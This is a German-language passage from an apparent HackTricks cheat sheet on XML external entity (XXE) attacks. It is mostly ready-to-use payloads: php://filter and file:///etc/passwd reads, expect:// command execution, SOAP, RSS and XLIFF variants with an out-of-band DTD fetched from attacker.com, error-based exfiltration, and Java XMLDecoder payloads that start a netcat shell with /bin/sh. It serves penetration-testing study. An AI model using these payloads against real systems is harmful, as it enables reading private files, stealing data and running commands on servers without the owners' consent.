**Extrahieren** _**index.php**_
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Externe Ressource extrahieren**
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Remote code execution

**Wenn das PHP-Modul "expect" geladen ist**
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
## **SOAP - XEE**
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
## XLIFF - XXE

Dieses Beispiel ist inspiriert von [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)

XLIFF (XML Localization Interchange File Format) wird verwendet, um den Datenaustausch in Lokalisierungsprozessen zu standardisieren. Es handelt sich um ein auf XML basierendes Format, das hauptsächlich zur Übertragung lokalisierbarer Daten zwischen Tools während der Lokalisierung und als gemeinsames Austauschformat für CAT (Computer-Aided Translation) Tools verwendet wird.

### Analyse der Blindanfrage

Eine Anfrage wird an den Server mit dem folgenden Inhalt gesendet:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Jedoch löst diese Anfrage einen internen Serverfehler aus, der speziell ein Problem mit den Markup-Deklarationen erwähnt:
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
Trotz des Fehlers wird ein Treffer im Burp Collaborator aufgezeichnet, der auf eine gewisse Interaktion mit der externen Entität hinweist.

Out of Band Datenexfiltration Um Daten zu exfiltrieren, wird eine modifizierte Anfrage gesendet:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Diese Methode zeigt, dass der User Agent die Verwendung von Java 1.8 angibt. Eine bekannte Einschränkung dieser Java-Version besteht darin, dass es nicht möglich ist, Dateien mit einem Zeilenumbruchzeichen wie z. B. /etc/passwd mithilfe der Out-of-Band-Technik abzurufen.

Datenexfiltration basierend auf Fehlern Um diese Einschränkung zu überwinden, wird ein fehlerbasierter Ansatz verwendet. Die DTD-Datei ist wie folgt strukturiert, um einen Fehler auszulösen, der Daten aus einer Zieldatei enthält:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Der Server antwortet mit einem Fehler, der deutlich auf die nicht vorhandene Datei hinweist und darauf hindeutet, dass der Server versucht, auf die angegebene Datei zuzugreifen:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Um den Inhalt der Datei in der Fehlermeldung einzuschließen, wird die DTD-Datei angepasst:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
Diese Modifikation führt zur erfolgreichen Exfiltration des Dateiinhalts, wie es im Fehlerausgabewert angezeigt wird, der über HTTP gesendet wird. Dies deutet auf einen erfolgreichen XXE (XML External Entity) Angriff hin, der sowohl Out-of-Band- als auch Fehlerbasierte Techniken nutzt, um sensible Informationen zu extrahieren.

## RSS - XEE

Gültiges XML im RSS-Format zur Ausnutzung einer XXE-Schwachstelle.

### Ping zurück

Einfacher HTTP-Request an den Server des Angreifers
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Datei lesen

Um eine externe Entität in XML zu verwenden, können Sie die folgende Deklaration verwenden:

```xml
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <name>&xxe;</name>
</root>
```

Dieser Code liest den Inhalt der Datei `/etc/passwd` und fügt ihn in das XML-Dokument ein.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Quellcode lesen

Verwendung des PHP Base64-Filters
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
## Java XMLDecoder XEE zu RCE

XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein bösartiger Benutzer eine Anwendung dazu bringen kann, beliebige Daten in einem Aufruf der Methode **readObject** zu verwenden, wird er sofort Codeausführung auf dem Server erlangen.

### Verwendung von Runtime().exec()
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
### ProcessBuilder

Der `ProcessBuilder` in Java wird verwendet, um ein neues Unterprozessobjekt zu erstellen.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
## Werkzeuge

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

## Referenzen

* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Extrahieren von Informationen über HTTP mithilfe eigener externer DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)

<details>

<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>